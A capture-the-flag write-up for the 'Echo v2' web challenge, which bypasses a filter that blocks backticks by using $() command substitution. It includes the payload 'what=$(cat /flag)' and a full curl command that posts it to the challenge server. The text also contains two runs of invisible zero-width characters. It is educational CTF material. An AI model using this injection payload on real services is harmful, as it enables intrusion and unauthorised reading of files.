Echo v2

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2019-10-13 | Status: Solved Techniques: command_substitution_bypass, dollar_parenthesis_injection

Summary

An "improved" echo server. The description says "the previous version was vulnerable... now EVERYTHING IS DEFINITELY SECURE!". Flag is in /flag.

Echo v2 - Web Kids 2.0

Description

An "improved" echo server. The description says "the previous version was vulnerable... now EVERYTHING IS DEFINITELY SECURE!". Flag is in /flag.

URL: https://2019-10-13-cmdinj.ctf.su/task/echo2

Analysis

The service executes echo <user_input> command with user input.

WAF rules:

• ; - blocked
• | - blocked
• && - blocked
• ` (backtick) - blocked
• $() - ALLOWED
• # - blocked

Key vulnerability: developers blocked backticks to prevent command substitution, but forgot about the alternative $() syntax which does the same thing in shell. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

In shell there are two ways to perform command substitution:

1. `command` - backticks (blocked)
2. $(command) - dollar-parenthesis (allowed!)

Both syntaxes are equivalent - they execute the command inside and substitute its output.

Payload:

what=$(cat /flag)

Sending via POST:

 bash read-only • copy allowed Copy
curl -X POST https://2019-10-13-cmdinj.ctf.su/task/echo2 -d 'what=$(cat /flag)'

What happens on the server:

 bash read-only • copy allowed Copy
echo $(cat /flag)

Shell first executes cat /flag, gets the file contents, then substitutes it as an argument to echo, which outputs the flag. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍